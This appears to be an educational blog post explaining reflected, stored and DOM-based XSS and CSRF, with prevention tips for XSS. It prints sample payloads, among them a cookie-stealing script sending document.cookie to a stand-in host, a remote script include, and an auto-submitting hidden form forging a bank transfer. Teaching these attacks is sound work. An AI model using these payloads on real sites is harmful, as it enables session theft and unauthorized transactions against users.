Introduction

The purpose of this post is to deepen my understanding of two common web vulnerabilities. Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF). These vulnerabilities are widespread, especially in web applications that improperly validate or sanitize input, and they can have serious consequences including session hijacking, data theft, and unauthorized actions on behalf of users. In this post, I’ll define each attack, explain how they work, and provide contextual and code examples to help you understand the risks and how to prevent them.

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is an attack that allows malicious scripts to be injected into a web page and executed in the browser of unsuspecting users. The goal is typically to steal session cookies, modify page content, or impersonate the user.

There are three main types of XSS attacks:

1. 🚫 Reflected XSS (Non-Persistent)

Reflected XSS occurs when user input is immediately returned by the server without proper sanitization. This input is often included in URL parameters, making it easy for an attacker to craft a malicious link.

https://forumsite.com/q=<script>alert('I am a hacker')</script>

The server reflects this malicious script back in the response, and if the application doesn't sanitize it properly, the browser will execute it. This can be used in phishing campaigns, where victims are tricked into clicking on a malicious link.

<script src="http://iamhacker.com/steal-information.js"></script>

🔁 Not stored — it only works when the user clicks the malicious link.

2. 🧬 Stored XSS (Persistent)

Stored XSS is more dangerous. In this case, the attacker submits malicious content (e.g., in a comment or message), and it is stored in the database. Every time a user loads the page, the malicious script executes in their browser.

📌 Example:

A user submits this script in a comment box:

<script>fetch('http://malicious.site/steal?cookie=' + document.cookie)</script>

When another user views the comment, their browser runs the script, and their session data (like document.cookie) may be leaked.

🧨 High risk, especially if sensitive data is stored in cookies.

3. 🧠 DOM-Based XSS

In this variant, the vulnerability exists in the frontend JavaScript code rather than the server response. The malicious payload modifies the DOM using unsafe data sources like location.search, hash, or innerHTML.

function displayUserComment(comment) {
  document.getElementById("comment-section").innerHTML = comment;
}

If comment is user-controlled and not sanitized, the attacker could inject a script via the DOM.

🔁 Triggered client-side, not via the server.

✅ Preventing XSS

• Escape output when injecting data into HTML (<div>, attributes, etc.)
• Use a templating engine that automatically escapes data (e.g., Handlebars, EJS)
• Sanitize user input using libraries like DOMPurify
• Set proper Content Security Policy (CSP) headers

CSRF (XSRF):

A hacker uses CSRF to forge authenticated requests to a target application.

For an application to be vulnerable it would have to have:

1. Authentication that SOLELY relies on session cookies.

2. NO safeguards for users, such as re-entering a passcode in order to change the passcode.

The hacker will once again have to apply social engineering tactics to get the user to click on their ill-purposed link. The hostname (domain) of the hacker's link is likely to be that of the target application's, with the necessary parameters ready to be sent. All the hacker needs is the user's logged in session cookie to authenticate the request. All of this work requires the hacker to have some knowledge of the target application's code. Hackers can also phish users by creating their own HTML page containing the malicious link.

Forged request:

POST /transfer HTTP/1.1
Host: www.bank.com
Content-Type: application/x-www-form-urlencoded
Cookie: session_id=abc123;   <-- Authenticated session cookie

to=hackerAccount&amount=1000

A hidden form with a forged request:

<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="100000">
  <input type="hidden" name="to_account" value="hacker_account">
  <input type="submit" value="Submit">
</form>
<script>
  document.forms[0].submit(); // Automatically submits the form when the page loads
</script>